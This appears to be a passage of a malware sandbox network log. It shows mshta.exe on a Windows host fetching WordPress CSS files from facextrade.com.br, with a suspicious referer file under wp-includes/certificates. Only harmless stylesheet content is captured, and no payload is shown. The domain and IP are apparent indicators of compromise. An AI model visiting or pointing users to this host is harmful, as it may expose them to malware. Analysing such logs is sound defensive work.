Aug 16, 2022 11:53:23.644629002 CEST	565	IN	Data Raw: 61 6c 65 28 31 29 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 68 6f 76 65 72 2d 68 62 6c 75 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 3a 68 6f 76 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 6d 67 20 7b 0a 20 20 Data Ascii: ale(1);}.lgx-logo-slider-wp .hover-hblur .lgx-logo-item:hover .lgx-logo-img { -webkit-filter: blur(2px); -moz-filter: blur(2px); -o-filter: blur(2px); -ms-filter: blur(2px); filter: blur(2px);}/*# sourceMappingURL=logo-slider-wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49189	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:23.802402973 CEST	566	OUT	GET /wp-content/themes/theme51253/main-style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:24.036922932 CEST	568	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:52 GMT Server: Apache ETag: "a53765-1130b-5cd2be5c3c8aa" Last-Modified: Thu, 30 Sep 2021 00:55:05 GMT Content-Length: 70411 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16866405 17189327 Age: 212 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 2e 2e 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 73 74 79 6c 65 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 31 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 33 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 34 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 37 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 39 30 30 29 3b 0a 2e 77 72 61 70 20 7b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 20 7d 0a 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 20 7d 0a 68 32 20 7b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 0a 7d 0a 68 32 20 73 74 72 6f 6e 67 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 68 33 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 61 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 61 3a 68 6f 76 65 72 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 30 3b 0a 09 70 61 64 64 69 6e 67 3a 32 33 70 78 20 30 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 2e 68 65 61 64 65 72 20 7b 0a 09 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 2e 68 65 61 64 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 27 27 3b 0a 09 70 6f 73 69 74 69 6f 6e Data Ascii: @import url("../CherryFramework/style.css");@import url(//fonts.googleapis.com/css?family=Lato:100);@import url(//fonts.googleapis.com/css?family=Lato:300);@import url(//fonts.googleapis.com/css?family=Lato:400);@import url(//fonts.googleapis.com/css?family=Lato:700);@import url(//fonts.googleapis.com/css?family=Lato:900);.wrap { overflow:hidden; }h1, h2, h3, h4, h5, h6 { margin-top:0; }h2 {font-weight:100 !important;text-shadow:0 0 0 rgba(0,0,0,0);}h2 strong { font-weight:900 !important; }h3 { font-weight:900 !important; }a {-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}a:hover { text-decoration:none; }.header {width:100%;position:absolute;top:0;padding:23px 0 20px;border:none;background:#fff;}@media (max-width: 767px) {.header {width:auto;padding-left:20px;padding-right:20px;position:relative !important;}}.header:after {content:'';position
Aug 16, 2022 11:53:24.037060022 CEST	569	IN	Data Raw: 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 62 6f 74 74 6f 6d 3a 2d 31 33 70 78 3b 0a 09 6c 65 66 74 3a 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 33 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 Data Ascii: :absolute;bottom:-13px;left:0;width:100%;height:13px;background-repeat:repeat-x;background-image:url(images/header-bottom.png);}@media (max-width: 767px) {.header.isStuck { top:0 !important; }}.header.isStuck .logo a img {w
Aug 16, 2022 11:53:24.037084103 CEST	571	IN	Data Raw: 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e Data Ascii: l 0.5s ease;}.header nav.nav__primary .sf-menu >li {background:none;position:relative;float:left;display:inline-block;margin-right:30px;}.header nav.nav__primary .sf-menu >li >a {text-transform:uppercase;font-weight:700;bor
Aug 16, 2022 11:53:24.037107944 CEST	572	IN	Data Raw: 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 31 62 65 65 38 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 2e 73 75 62 2d 6d 65 6e 75 20 Data Ascii: olor:#fff;background:#21bee8;}.header nav.nav__primary .sf-menu >li .sub-menu li.menu-item-has-children > a:before {width:8px;height:40px;position:absolute;top:0;right:-8px;display:block;background:url("images/extra1.png") ce
Aug 16, 2022 11:53:24.037133932 CEST	574	IN	Data Raw: 2d 72 69 67 68 74 3a 36 35 70 78 3b 0a 09 7d 0a 7d 0a 2e 62 74 6e 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 33 33 33 33 33 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 Data Ascii: -right:65px;}}.btn:hover {color:#fff;background:#333333;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.btn:active {color:#fff;background:none;}.btn:
Aug 16, 2022 11:53:24.037158966 CEST	575	IN	Data Raw: 70 61 64 64 69 6e 67 3a 31 36 70 78 20 35 35 70 78 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 66 33 39 63 31 32 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b Data Ascii: padding:16px 55px;text-shadow:none;border:1px solid #f39c12;box-shadow:none;text-shadow:none !important;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.rev
Aug 16, 2022 11:53:24.037185907 CEST	576	IN	Data Raw: 3a 6e 6f 6e 65 3b 0a 09 70 61 64 64 69 6e 67 3a 31 36 70 78 20 38 35 70 78 3b 0a 7d 0a 2e 6d 6f 72 65 62 74 6e 36 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 32 31 62 Data Ascii: :none;padding:16px 85px;}.morebtn6:hover {color:#fff;border:1px solid #21bee8;background:#21bee8;}.cherry_media_parallax_1 {opacity:0;filter:alpha(opacity=0);}.cherry_media_parallax_1 .parallax-content { padding:365px 0 250px
Aug 16, 2022 11:53:24.037208080 CEST	578	IN	Data Raw: 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 Data Ascii: bkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.cherry_media_parallax_1 .parallax_inner:before { display:none !important; }.cherry_fixed_parallax1 { overflow:hidden; }
Aug 16, 2022 11:53:24.037230015 CEST	579	IN	Data Raw: 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 34 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 68 33 20 7b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 63 6f Data Ascii: _fixed_parallax4 .parallax-content h3 {margin-bottom:15px;text-align:left;color:#fff;}.cherry_fixed_parallax4 .parallax-content p { text-align:left; }.cherry_fixed_parallax4 .parallax-content .icon_type1 {margin:0 30px 38px 0;back
Aug 16, 2022 11:53:24.037252903 CEST	581	IN	Data Raw: 69 6e 2d 62 6f 74 74 6f 6d 3a 35 33 70 78 3b 0a 09 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 2e 63 68 65 72 72 79 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 37 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 2e 6d 6f 72 65 62 Data Ascii: in-bottom:53px;color:inherit;}.cherry_fixed_parallax7 .parallax-content .morebtn6 {margin-top:50px;padding-left:90px;padding-right:90px;}.cherry_fixed_parallax8 .parallax-content {text-align:center;padding:60px 0 70px 0;}.che
Aug 16, 2022 11:53:24.268693924 CEST	592	IN	Data Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 39 70 78 3b 20 7d 0a 2e 65 78 74 72 61 5f 77 72 61 70 33 20 75 6c 20 6c 69 20 61 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 0a 09 63 Data Ascii: margin-bottom:9px; }.extra_wrap3 ul li a {font-size:14px;line-height:20px;color:#2ecc71;text-transform:uppercase;}.extra_wrap3 ul li a:hover { color:#fff; }.extra_wrap4 h3 { margin-bottom:30px; }.extra_wrap4 ul {margin:0;list-
Aug 16, 2022 11:53:24.503916025 CEST	652	OUT	GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:24.738959074 CEST	666	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:24 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:37:34 GMT ETag: "a5169a-156c1-58592f1eb4380" Accept-Ranges: bytes Content-Length: 87745 Connection: close Content-Type: text/css

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49190	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:23.924861908 CEST	566	OUT	GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:24.165091991 CEST	582	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:24 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT ETag: "a53043-2458-58592d3483f00" Accept-Ranges: bytes Content-Length: 9304 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 43 53 53 20 2a 2f 0a 2e 6d 66 70 2d 62 67 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 32 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 62 30 62 30 62 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 0a 20 20 66 69 6c 74 65 72 3a 20 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 38 30 29 3b 20 7d 0a 0a 2e 6d 66 70 2d 77 72 61 70 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 33 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 38 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6c 69 67 6e 2d 74 6f 70 20 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 35 3b 20 7d 0a 0a 2e 6d 66 70 2d 69 6e 6c 69 6e 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 2c 0a 2e 6d 66 70 2d 61 6a 61 78 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6a 61 78 2d 63 75 72 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 72 6f 67 72 65 73 73 3b 20 7d 0a 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 2c 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 20 Data Ascii: /* Magnific Popup CSS */.mfp-bg { top: 0; left: 0; width: 100%; height: 100%; z-index: 1042; overflow: hidden; position: fixed; background: #0b0b0b; opacity: 0.8; filter: alpha(opacity=80); }.mfp-wrap { top: 0; left: 0; width: 100%; height: 100%; z-index: 1043; position: fixed; outline: none !important; -webkit-backface-visibility: hidden; }.mfp-container { text-align: center; position: absolute; width: 100%; height: 100%; left: 0; top: 0; padding: 0 8px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }.mfp-container:before { content: ''; display: inline-block; height: 100%; vertical-align: middle; }.mfp-align-top .mfp-container:before { display: none; }.mfp-content { position: relative; display: inline-block; vertical-align: middle; margin: 0 auto; text-align: left; z-index: 1045; }.mfp-inline-holder .mfp-content,.mfp-ajax-holder .mfp-content { width: 100%; cursor: auto; }.mfp-ajax-cur { cursor: progress; }.mfp-zoom-out-cur,.mfp-zoom-out-cur
Aug 16, 2022 11:53:24.165122032 CEST	583	IN	Data Raw: 2e 6d 66 70 2d 69 6d 61 67 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b 0a 20 20 2f 2a 63 75 72 73 6f 72 3a 20 2d 6d 6f 7a 2d 7a 6f 6f 6d 2d 6f 75 74 3b 0a 20 20 63 75 72 73 6f 72 3a 20 2d 77 65 62 6b 69 74 2d 7a 6f 6f 6d 2d 6f Data Ascii: .mfp-image-holder .mfp-close { /cursor: -moz-zoom-out; cursor: -webkit-zoom-out; cursor: zoom-out;/ }.mfp-zoom { cursor: pointer; cursor: -webkit-zoom-in; cursor: -moz-zoom-in; cursor: zoom-in; }.mfp-auto-cursor .mfp-conten
Aug 16, 2022 11:53:24.165148020 CEST	585	IN	Data Raw: 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 42 61 73 6b 65 72 76 69 6c 6c 65 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 20 7d 0a 20 20 2e 6d 66 70 2d 63 6c 6f 73 65 3a 68 6f 76 Data Ascii: font-size: 28px; font-family: Arial, Baskerville, monospace; } .mfp-close:hover, .mfp-close:focus { opacity: 1; } .mfp-close:active { top: 1px; }.mfp-close-btn-in .mfp-close { color: #333333; }.mfp-image-holder .mfp-close,
Aug 16, 2022 11:53:24.165186882 CEST	586	IN	Data Raw: 67 68 74 3a 20 31 37 70 78 20 73 6f 6c 69 64 20 77 68 69 74 65 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 31 70 78 3b 20 7d 0a 20 20 2e 6d 66 70 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 2c 0a 20 20 2e 6d 66 70 2d 61 Data Ascii: ght: 17px solid white; margin-left: 31px; } .mfp-arrow-left:before, .mfp-arrow-left .mfp-b { margin-left: 25px; border-right: 27px solid #3f3f3f; }.mfp-arrow-right { right: 0; } .mfp-arrow-right:after, .mfp-arrow-right
Aug 16, 2022 11:53:24.165214062 CEST	588	IN	Data Raw: 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 2d 31 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 38 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 36 29 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a Data Ascii: ight: auto; z-index: -1; box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); background: #444444; }.mfp-figure { line-height: 0; }.mfp-bottom-bar { margin-top: -36px; position: absolute; top: 100%; left: 0; width: 100%; cursor: aut
Aug 16, 2022 11:53:24.165278912 CEST	589	IN	Data Raw: 69 6c 65 20 2e 6d 66 70 2d 63 6f 75 6e 74 65 72 20 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 35 70 78 3b 0a 20 20 20 20 74 6f 70 3a 20 33 70 78 3b 20 7d 0a 0a 20 20 2e 6d 66 70 2d 69 6d 67 2d 6d 6f 62 69 6c 65 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b Data Ascii: ile .mfp-counter { right: 5px; top: 3px; } .mfp-img-mobile .mfp-close { top: 0; right: 0; width: 35px; height: 35px; line-height: 35px; background: rgba(0, 0, 0, 0.6); position: fixed; text-align: cen
Aug 16, 2022 11:53:24.165410042 CEST	591	IN	Data Raw: 61 63 69 74 79 3a 20 30 2e 38 3b 0a 7d 0a 2f 2a 20 6f 76 65 72 6c 61 79 20 61 6e 69 6d 61 74 65 20 6f 75 74 20 2a 2f 0a 2e 6d 66 70 2d 66 61 64 65 2e 6d 66 70 2d 62 67 2e 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a Data Ascii: acity: 0.8;}/* overlay animate out /.mfp-fade.mfp-bg.mfp-removing { opacity: 0;}/ content at start */.mfp-fade.mfp-wrap .mfp-content { opacity: 0; -webkit-transition: all 0.15s ease-out; -moz-transition: all 0.15s ease-out;
Aug 16, 2022 11:53:24.165585995 CEST	591	IN	Data Raw: 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 Data Ascii: bkit-transform: scale(0.8); -moz-transform: scale(0.8); -ms-transform: scale(0.8); transform: scale(0.8); opacity: 0;}.mfp-zoom-in.mfp-removing.mfp-bg { opacity: 0;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49191	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:24.409202099 CEST	620	OUT	GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:24.656729937 CEST	653	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:24 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:35:52 GMT ETag: "a4f99b-7abe-58592ebd6de00" Accept-Ranges: bytes Content-Length: 31422 Connection: close Content-Type: text/css
Aug 16, 2022 11:53:24.656791925 CEST	654	IN	Data Raw: 2f 2a 20 23 53 68 6f 72 74 63 6f 64 65 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 2f 2a 20 52 65 63 65 6e 74 20 50 6f 73 Data Ascii: /* #Shortcodes================================================== // Recent Posts Shortcodes---------------------------------------- */.recent-posts { overflow: hidden; margin: 0 0 0 -20px !important; padding: 0; border: none; l
